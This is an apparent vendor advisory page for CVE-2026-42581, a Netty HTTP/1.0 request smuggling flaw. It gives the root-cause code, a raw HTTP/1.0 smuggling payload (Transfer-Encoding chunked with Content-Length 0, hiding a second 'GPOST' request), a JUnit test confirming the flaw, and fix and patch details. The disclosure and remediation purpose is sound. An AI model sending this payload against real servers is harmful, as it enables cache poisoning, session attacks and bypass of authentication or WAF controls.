# CVE-2026-42581: netty-codec-http — Fixed in 4.2.13.Final ☕ ☕ Maven Not in CISA KEV MEDIUM severity # CVE-2026-42581 — netty-codec-http MEDIUM CVE-2026-42581 is a medium-severity (CVSS 5.8) CWE-444 vulnerability in io.netty:netty-codec-http. A fix is available for io.netty:netty-codec-http — see the affected versions and patch details below. Netty: HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization Also known as[GHSA-xxqh-mfjm-7mv9](/vulnerability/GHSA-xxqh-mfjm-7mv9) Published May 13, 2026 Updated Oct 28, 2026 Affected 2 pkgs Patched 2 / 2 Exploits None indexed Exploitation data as of Nov 10, 2026 · OSV.dev, NVD, FIRST.org (EPSS) ## Exploitation Status ### Proof-of-concept exploit code exists - CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation. - CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks. Exploitation and automatability from CISA’s SSVC triage for CVE-2026-42581. ## EPSS Exploitation Probability [via FIRST.org ↗](https://www.first.org/epss/) 0.6%probability of exploitation in next 30 days Lower Risk0.00% Lower risk than most CVEs51th percentile — riskier than 51% of all scored CVEsHighest risk 0.00%0.39%0.79%1.18%0.0%0.6%Jun 26Sep 26Nov 26 Probability of exploitation in the next 30 days, from [FIRST.org EPSS](https://www.first.org/epss/). ## How urgent is this, really ## Where this sits among everything scored ## Real-World Exposure 2 pkgs affected ☕`io.netty:netty-codec-http`☕`io.netty:netty-codec-http` Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems. ## Description ## NETTY HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization Field Value Library `io.netty:netty-codec-http` Component `codec-http` — `HttpObjectDecoder` Severity **HIGH** Affects HEAD, commit `4f3533ae` confirmed * * * ### Summary `HttpObjectDecoder` strips a conflicting `Content-Length` header when a request carries both `Transfer-Encoding: chunked` and `Content-Length`, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the body as chunked while leaving `Content-Length` intact in the forwarded `HttpMessage`. Any downstream proxy or handler that trusts `Content-Length` over `Transfer-Encoding` will disagree on message boundaries, enabling request smuggling. * * * ### Root Cause ``` // HttpObjectDecoder.java:828-833 if (HttpUtil.isTransferEncodingChunked(message)) { this.chunked = true; if (!contentLengthFields.isEmpty() && message.protocolVersion() == HttpVersion.HTTP_1_1) { handleTransferEncodingChunkedWithContentLength(message); // strips CL — HTTP/1.1 only } return State.READ_CHUNK_SIZE; } // HttpObjectDecoder.java:870-873 protected void handleTransferEncodingChunkedWithContentLength(HttpMessage message) { message.headers().remove(HttpHeaderNames.CONTENT_LENGTH); contentLength = Long.MIN_VALUE; } ``` The conflict-resolution path is gated on `message.protocolVersion() == HttpVersion.HTTP_1_1`. When the request declares `HTTP/1.0`, the condition is false, `handleTransferEncodingChunkedWithContentLength` is never called, and the `Content-Length` header survives into the forwarded message. Netty still processes the body as chunked; a downstream component that is CL-first interprets the same bytes as a separate request. * * * ### Proof of Concept ``` POST /api HTTP/1.0\r\n Host: internal.example.com\r\n Transfer-Encoding: chunked\r\n Content-Length: 0\r\n \r\n 5\r\n GPOST\r\n 0\r\n \r\n ``` Netty consumes the full chunked body (5 bytes + terminator). A downstream CL-first proxy reads `Content-Length: 0`, considers the request complete at the blank line, and treats `5\r\nGPOST\r\n0\r\n\r\n` as the start of a second request. * * * ### Conditions Required 1. Netty is deployed behind a reverse proxy or load balancer that is `Content-Length`\-first (nginx, some HAProxy configs, AWS ALB in certain modes). 2. Attacker can send HTTP/1.0 requests (either directly or by downgrading via connection manipulation). 3. No additional HTTP/1.0 stripping layer between attacker and Netty. * * * ### Impact Request smuggling at the Netty edge. Allows cache poisoning, session fixation against other users, unauthorized access to internal endpoints, and bypassing of WAF or authentication layers that inspect only the first logical request. * * * ### Confirmed PoC Test Verified against HEAD (`4f3533ae`) using `EmbeddedChannel`. Both tests pass, confirming the vulnerability and the HTTP/1.1 contrast. ``` package io.netty.handler.codec.http; import io.netty.buffer.Unpooled; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.util.CharsetUtil; import org.junit.jupiter.api.Test; import static org.junit.jupiter.api.Assertions.*; public class NettySmugglingSec001Test { // VULNERABLE: Content-Length survives in HTTP/1.0 TE+CL conflict @Test public void http10_contentLengthNotStripped() { EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder()); ch.writeInbound(Unpooled.copiedBuffer( "POST /api HTTP/1.0\r\n" + "Transfer-Encoding: chunked\r\n" + "Content-Length: 0\r\n" + "\r\n" + "5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.US_ASCII)); HttpRequest req = ch.readInbound(); assertEquals(HttpVersion.HTTP_1_0, req.protocolVersion()); // Content-Length: 0 survives — downstream CL-first proxy treats chunked body as new request assertNotNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), "VULNERABLE: CL not stripped"); ch.finishAndReleaseAll(); } // SAFE: HTTP/1.1 correctly strips Content-Length on TE+CL conflict @Test public void http11_contentLengthStripped() { EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder()); ch.writeInbound(Unpooled.copiedBuffer( "POST /api HTTP/1.1\r\n" + "Transfer-Encoding: chunked\r\n" + "Content-Length: 0\r\n" + "\r\n" + "5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.US_ASCII)); HttpRequest req = ch.readInbound(); assertNull(req.headers().get(HttpHeaderNames.CONTENT_LENGTH), "SAFE: CL correctly stripped"); ch.finishAndReleaseAll(); } } ``` * * * ### Fix Guidance Remove the `message.protocolVersion() == HttpVersion.HTTP_1_1` guard in `HttpObjectDecoder`, applying `handleTransferEncodingChunkedWithContentLength` unconditionally whenever both `Transfer-Encoding: chunked` and `Content-Length` are present, regardless of protocol version. ## Affected Packages 2 total 2 fixed Ecosystem Package Vulnerable range Fix ☕Maven `io.netty:netty-codec-http` ≥ 4.2.0.Alpha1&&< 4.2.13.Final 4.2.13.Final`io.netty:netty-codec-http:4.2.13.Final` ☕Maven `io.netty:netty-codec-http` all versions 4.1.133.Final`io.netty:netty-codec-http:4.1.133.Final` ## Affected Products 1 product · 2 configurations Application `netty`netty ≥ 4.2.0 && < 4.2.13 range ## Detection & mitigation playbook Open-source dependency 1. ### Detect Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.netty:netty-codec-http, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version. 2. ### Fix Update io.netty:netty-codec-http to 4.2.13.Final or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-42581 is resolved across your whole dependency graph. 3. ### Workarounds Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used. ## Fixing This On Your OS If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project. Red HatImportant This is an Important flaw. Netty's HttpObjectDecoder, used across various Red Hat products, improperly handles conflicting \`Transfer-Encoding: chunked\` and \`Content-Length\` headers in HTTP/1.0 requests. This allows a remote attacker to perform HTTP request smuggling, potentially bypassing security controls or gaining… Workaround published by Red Hat > To mitigate this issue, configure any reverse proxies or load balancers in front of Netty to either reject HTTP/1.0 requests containing both Transfer-Encoding: chunked and Content-Length headers, or to explicitly prioritize the Transfer-Encoding header over Content-Length for HTTP/1.0 traffic. This ensures consistent interpretation of message boundaries and prevents request smuggling attacks. Source: [Red Hat security advisory for CVE-2026-42581](https://access.redhat.com/security/cve/cve-2026-42581) (CC BY 4.0) Product Fixed in Advisory AMQ Clients 2026.Q3 `netty-codec-http` [RHSA-2026:69459](https://access.redhat.com/errata/RHSA-2026:69459) Cryostat 4 on RHEL 9 `cryostat/cryostat-reports-rhel9:4.2.0-10` [RHSA-2026:28010](https://access.redhat.com/errata/RHSA-2026:28010) Red Hat AMQ Broker 7.13.6 `netty-codec-http` [RHSA-2026:66545](https://access.redhat.com/errata/RHSA-2026:66545) Red Hat AMQ Broker 7.14.1 `netty-codec-http` [RHSA-2026:66488](https://access.redhat.com/errata/RHSA-2026:66488) Red Hat build of Apache Camel 4.18.1.P1 for Spring Boot 3.5.16 `netty-codec-http` [RHSA-2026:37390](https://access.redhat.com/errata/RHSA-2026:37390) Red Hat build of Keycloak 26.4.13 see advisory [RHSA-2026:30049](https://access.redhat.com/errata/RHSA-2026:30049) Red Hat build of Quarkus 3.27.4.redhat `io.netty/netty-codec-http:4.1.133.Final-redhat-00002` [RHSA-2026:23808](https://access.redhat.com/errata/RHSA-2026:23808) Red Hat build of Quarkus 3.33.2.redhat `io.netty/netty-codec-http:4.1.133.Final-redhat-00002` [RHSA-2026:24502](https://access.redhat.com/errata/RHSA-2026:24502) ## Frequently Asked Questions \# NETTY HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization | Field | Value | |-----------|-------| | Library | \`io.netty:netty-codec-http\` | | Component | \`codec-http\` — \`HttpObjectDecoder\` | | Severity | \*\*HIGH\*\* | | Affects | HEAD, commit \`4f3533ae\` confirmed | --- ## Summary \`HttpObjectDecoder\` strips a conflicting \`Content-Length\` header when a request carries both \`Transfer-Encoding: chunked\` and \`Content-Length\`, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the bo O3 Security · Impact-Aware SCA ### Is CVE-2026-42581 in your dependencies? Find it across Maven, including transitive dependencies. [Scan my dependencies](/book-demo) [How O3 SCA works](/impact-aware-sca)